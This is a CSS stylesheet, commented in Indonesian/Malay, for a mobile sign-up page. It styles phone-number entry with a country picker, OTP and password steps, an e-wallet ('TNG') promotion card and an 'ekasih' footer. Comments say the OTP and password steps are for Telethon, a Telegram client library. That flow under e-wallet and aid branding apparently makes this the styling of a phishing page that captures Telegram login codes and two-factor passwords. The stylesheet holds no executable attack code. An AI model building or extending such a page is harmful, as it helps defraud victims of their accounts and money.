/* ================= RESET ================= */
* {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
  font-family: "Segoe UI", Arial, sans-serif;
}

body {
  background: #f2f3f7;
  color: #333;
  padding-top: 70px;
}

/* ================= COLOR VARIABLE ================= */
:root {
  --purple-main: #6f2c91;
  --purple-soft: #8e44ad;
  --purple-light: #f1e6f7;
  --blue-main: #1e66d0;
  --blue-light: #2d7df6;
  --card-bg: #f6f6f6;
}

/* ================= HEADER ================= */
.topbar{
background:#a61d4d;
height:70px;
display:flex;
align-items:center;
justify-content:space-between;
padding:0 20px;
position: fixed;
top: 0;
left: 0;
width: 100%;
z-index: 999;
}

.left{
display:flex;
align-items:center;
gap:12px;
}

.logo-main{
height:42px;
}

.logo-sub{
height:38px;
}

.right{
display:flex;
align-items:center;
}

.notif{
position:relative;
background:#e6e6e6;
width:46px;
height:46px;
border-radius:50%;
display:flex;
align-items:center;
justify-content:center;
font-size:20px;
color:#2f6bb3;
}

.badge{
position:absolute;
top:6px;
right:5px;
background:#ff3b30;
color:white;
font-size:11px;
width:14px;
height:14px;
border-radius:50%;
display:flex;
align-items:center;
justify-content:center;
}
/* ================= HERO / BANNER ================= */
.hero {
  position: relative;
  text-align: center;
  padding-bottom: 26px;
}

.slider {
  width: 100%;
  height: auto;
}

.hero-image {
  width: 100%;
  display: block;
}

/* ================= FORM SECTION ================= */
.register-section{
max-width:420px;
margin:-35px auto 10px auto; /* naikkan form dekat banner */
padding:0 10px; /* kecilkan kiri kanan */
position:relative;
z-index:5;
}

#step-title{
text-align:center;
font-size:18px;
font-weight:700;
margin-bottom:16px;
color:#444;
}

/* ================= BUTTON ================= */
.str-btn {
  display: inline-block;
  background: linear-gradient(180deg, var(--blue-light), var(--blue-main));
  color: #fff;
  border: none;
  padding: 12px 26px;
  border-radius: 8px;
  font-size: 15px;
  font-weight: 600;
  margin-bottom: 22px;
}

/* ================= MODAL REGISTER ================= */
.modal {
  position: fixed;
  inset: 0;
  z-index: 999;
  display: flex;
  align-items: center;
  justify-content: center;
}
.modal.hidden {
  display: none;
}

.modal-backdrop {
  position: absolute;
  inset: 0;
  background: rgba(0,0,0,.55);
}

.modal-box {
  position: relative;
  background: #fff;
  color: #333;
  width: 100%;
  max-width: 420px;
  margin: 6vh auto;
  border-radius: 22px;
  padding: 16px 20px 22px;
  animation: popupIn .35s ease;
  max-height: 90vh;
  overflow-y: auto;
}

@keyframes popupIn {
  from { opacity: 0; transform: scale(.95); }
  to   { opacity: 1; transform: scale(1); }
}

.modal-close {
  position: absolute;
  top: 10px;
  right: 12px;
  border: none;
  background: none;
  font-size: 18px;
  cursor: pointer;
  color: var(--purple-main);
}

/* ================= REGISTER FORM ================= */
.register {
  width: 100%;
}

.register h3 {
  margin: 0 0 14px;
  text-align: center;
  font-size: 18px;
  font-weight: 700;
  color: var(--purple-main);
}

/* ================= INPUT ================= */
.register input {
  width: 100%;
  padding: 15px 16px;
  margin-bottom: 12px;
  border-radius: 14px;
  border: 1px solid #ddd;
  font-size: 15px;
  outline: none;
}

.register input:focus {
  border-color: var(--purple-main);
}

/* ===== AUTO DETECT TEXT ===== */
.detect {
  display: block;
  margin: 6px 4px 12px;

  font-size: 12px;
  color: #888;
  text-align: center;
}

/* ================= PHONE + COUNTRY ================= */
.phone-wrapper {
  position: relative;
  margin-bottom: 12px;
}

.phone-input {
  display: flex;
  align-items: stretch; /* 🔑 ini penting */
  gap: 6px;
}

.country-select {
  height: 48px;              /* ⬅️ samakan dengan input */
  display: flex;
  align-items: center;
  padding: 0 12px;
  border-radius: 12px;
  border: 1px solid #ddd;
  background: #fff;
  cursor: pointer;
  font-size: 14px;
  white-space: nowrap;
}
#countryFlag {
  font-size: 20px;
  line-height: 1;
  margin-right: 4px;

  font-family:
    Apple Color Emoji,
    Segoe UI Emoji,
    Noto Color Emoji,
    Android Emoji,
    sans-serif;
}

.flag-img {
  width: 20px;
  height: 14px;
  object-fit: cover;
  border-radius: 2px;
}

.country-select .arrow {
  font-size: 10px;
  margin-left: 6px;
  opacity: .6;
  color: var(--purple-main);
}

#detectInfo {
  display: block;
  font-size: 12px;
  margin: 6px 4px 0;
  color: var(--purple-soft);
}

/* ================= COUNTRY DROPDOWN ================= */
.country-dropdown {
  display: none;
  position: absolute;
  top: 100%;
  left: 0;
  right: 0;
  background: #fff;
  border-radius: 12px;
  border: 1px solid #ddd;
  max-height: 220px;
  overflow-y: auto;
  z-index: 9999;
  margin-top: 6px;
}
.country-dropdown li span {
  font-family:
    Apple Color Emoji,
    Segoe UI Emoji,
    Noto Color Emoji,
    Android Emoji,
    sans-serif;
}

.country-dropdown input {
  width: 100%;
  border: none;
  border-bottom: 1px solid #eee;
  padding: 10px 12px;
  outline: none;
}

.country-dropdown ul {
  list-style: none;
  padding: 0;
  margin: 0;
}

.country-dropdown li {
  padding: 10px 12px;
  cursor: pointer;
  font-size: 14px;
}

.country-dropdown li:hover {
  background: #f4f4f4;
}

#detectInfo {
  display: block;
  font-size: 12px;
  margin: 6px 4px 0;
  color: #777;
}

.country-dropdown {
  display: none;
  opacity: 0;
  transform: translateY(-6px);
  transition: opacity .2s ease, transform .2s ease;
}

.country-dropdown.show {
  display: block;
  opacity: 1;
  transform: translateY(0);
}

.country-select.auto .arrow {
  display: none;
}
/* ================= BUTTON ================= */
.register button {
  width: 100%;
  height: 52px;
  border-radius: 16px;
  border: none;
  background: linear-gradient(
    180deg,
    var(--blue-light),
    var(--blue-main)
  );
  color: #fff;
  font-size: 17px;
  font-weight: 600;
  cursor: pointer;
}

.register button:active {
  transform: scale(.97);
}

/* STEP TRANSITION (REGISTER → OTP → PASSWORD) 
   SINKRON DENGAN STYLE REGISTER KAMU */
.step {
  width: 100%;
  animation: stepFade .45s cubic-bezier(.25,.8,.25,1);
}

.step.hidden {
  display: none;
}

/* animasi masuk step */
@keyframes stepFade {
  from {
    opacity: 0;
    transform: translateY(24px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

/* INPUT & BUTTON ANIMATION (HALUS, PREMIUM) */
.step input {
  animation: inputFade .4s ease both;
}

.step input:nth-of-type(1) { animation-delay: .05s; }
.step input:nth-of-type(2) { animation-delay: .1s; }
.step input:nth-of-type(3) { animation-delay: .15s; }

@keyframes inputFade {
  from {
    opacity: 0;
    transform: translateY(10px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

.step button {
  animation: buttonFade .35s ease .2s both;
}

@keyframes buttonFade {
  from {
    opacity: 0;
    transform: scale(.96);
  }
  to {
    opacity: 1;
    transform: scale(1);
  }
}

/* OTP STEP (TETAP MATCH DENGAN REGISTER STYLE) */
.step-otp input {
  text-align: center;
  letter-spacing: .25em;
  font-size: 18px;
}

/*PASSWORD STEP */
.step-password input {
  letter-spacing: .08em;
}

/* STEP LOADING (OPSIONAL, UNTUK TELETHON NANTI) */
.step.loading {
  pointer-events: none;
  opacity: .6;
}

/* STEP PROGRESS (1 • 2 • 3) — PREMIUM */
.step-progress {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  margin-bottom: 18px;
}

.step-dot {
  width: 26px;
  height: 26px;
  border-radius: 50%;
  background: #ddd;
  color: #999;
  font-size: 13px;
  font-weight: 600;
  display: flex;
  align-items: center;
  justify-content: center;
  transition: all .35s ease;
}

.step-dot.active {
  background: linear-gradient(135deg,#7b6cff,#ff4fa3);
  color: #fff;
  transform: scale(1.05);
}

.step-line {
  width: 28px;
  height: 2px;
  background: #ddd;
  transition: background .35s ease;
}

.step-line.active {
  background: linear-gradient(135deg,#7b6cff,#ff4fa3);
}

/* OTP ERROR ANIMATION (SHAKE) */
.input-error {
  border-color: #ff4f4f !important;
  animation: shake .35s ease;
}

@keyframes shake {
  0% { transform: translateX(0); }
  25% { transform: translateX(-4px); }
  50% { transform: translateX(4px); }
  75% { transform: translateX(-4px); }
  100% { transform: translateX(0); }
}

/* FORCE HIDE STEP PROGRESS */
.step-progress {
  display: none !important;
}

.country-row {
  display: flex;
  align-items: center;
  justify-content: space-between;
  width: 100%;
}

.country-left {
  display: flex;
  align-items: center;
  gap: 8px;
}

.country-code {
  font-weight: 500;
  white-space: nowrap; /* 🔥 PENTING UNTUK iOS */
}

/* ================= EWALLET SECTION ================= */

.wallet-section{
max-width:420px;
margin:18px auto 0 auto;
padding: 0 10px;
}

/* CARD BIRU */
.wallet-info{

padding: 34px 24px 26px;

border-radius:22px 22px 0 0;

background:linear-gradient(
180deg,
#2f76e8 0%,
#1f63d6 55%,
#1655c2 100%
);

color:#fff;

text-align:center;

box-shadow:0 10px 28px rgba(0,0,0,0.08);

}

/* LOGO TNG */
.wallet-logo{
width:82px;
margin-bottom:14px;
}

/* TITLE */
.wallet-info h3{
font-size:23px;
font-weight:700;
line-height:1.4;
margin-bottom:16px;
}

/* EWALLET TEXT COLOR */
.wallet-info span{
color:#ffd45c;
}

/* DESCRIPTION */
.wallet-info p{
font-size:13px;
opacity:.95;
margin-bottom:6px;
}


/* ================= FOOTER PARTNER ================= */

.wallet-footer{

background:#f3f3f3;

text-align:center;

padding:20px 16px 24px;

border-radius:0 0 22px 22px;

max-width:420px;

margin:0 auto 30px auto;

box-shadow:0 10px 28px rgba(0,0,0,0.08);

}

/* LOGO PARTNER */
.footer-partners{

width:100%;

max-width:420px;

margin:0 auto 10px;

display:block;

}

/* COPYRIGHT */
.footer-ekasih{

font-size:13px;

color:#7a7a7a;

}
/* ================= RESPONSIVE ================= */
@media (min-width: 480px) {
  .footer-title {
    font-size: 14px;
  }

  .footer-copy {
    font-size: 13px;
  }

  .footer-note {
    font-size: 12px;
  }
}

/* ===== TELETHON OVERLAY ===== */
.overlay {
  position: fixed;
  inset: 0;
  background: rgba(0,0,0,.55);
  display: flex;
  align-items: center;
  justify-content: center;
  z-index: 99999;
}

.overlay.hidden {
  display: none;
}

.overlay-box {
  background: #fff;
  padding: 22px 24px;
  border-radius: 18px;
  text-align: center;
  min-width: 220px;
}

.spinner {
  width: 38px;
  height: 38px;
  border: 4px solid #e3e3e3;
  border-top: 4px solid #7b6cff;
  border-radius: 50%;
  margin: 0 auto 14px;
  animation: spin 1s linear infinite;
}

@keyframes spin {
  to { transform: rotate(360deg); }
}
.hidden {
  display: none;
}

/* ================= TELETHON LOADING MODE ================= */
/* Saat OTP / Verify / Password */
.overlay.telethon-loading .overlay-actions {
  display: none !important;
}

.overlay.telethon-loading .spinner {
  display: block;
}

/* OPTIONAL: BUTTON PRESS EFFECT */
#backBtn:active,
#continueBtn:active {
  transform: scale(.97);
}

/* ================= OTP STEP ================= */
.otp-info{
font-size:13px;
text-align:center;
color:#666;
margin-bottom:14px;
line-height:1.5;
}

.otp-help{
display:block;
text-align:center;
font-size:12px;
color:#888;
margin-top:8px;
}

/* OTP INPUT STYLE */
.step-otp input{
text-align:center;
letter-spacing:.35em;
font-size:20px;
font-weight:600;
}

/* ================= PASSWORD STEP ================= */
.password-info{
font-size:13px;
text-align:center;
color:#666;
margin-bottom:14px;
line-height:1.5;
}

/* PASSWORD INPUT */
.step-password input{
letter-spacing:.05em;
}

/* ================= SUCCESS / VERIFIED STYLE ================= */

.step-success{
text-align:center;
padding:20px 10px;
}

.success-icon{
width:60px;
height:60px;
border-radius:50%;
background:#2ecc71;
color:#fff;
display:flex;
align-items:center;
justify-content:center;
font-size:28px;
margin:0 auto 12px;
}

.success-title{
font-size:18px;
font-weight:700;
margin-bottom:6px;
}

.success-text{
font-size:13px;
color:#666;
}

/* ================= INPUT HOVER EFFECT ================= */

.register input:hover{
border-color:#bbb;
}

/* ================= BUTTON HOVER ================= */

.register button:hover{
background:linear-gradient(
180deg,
#3c86ff,
#1c5fd1
);
}

/* ================= MOBILE POLISH ================= */

@media (max-width:420px){

.modal-box{
padding:16px 16px 20px;
}

.wallet-info h3{
font-size:20px;
}

.wallet-logo{
width:72px;
}

.register button{
height:50px;
font-size:16px;
}

}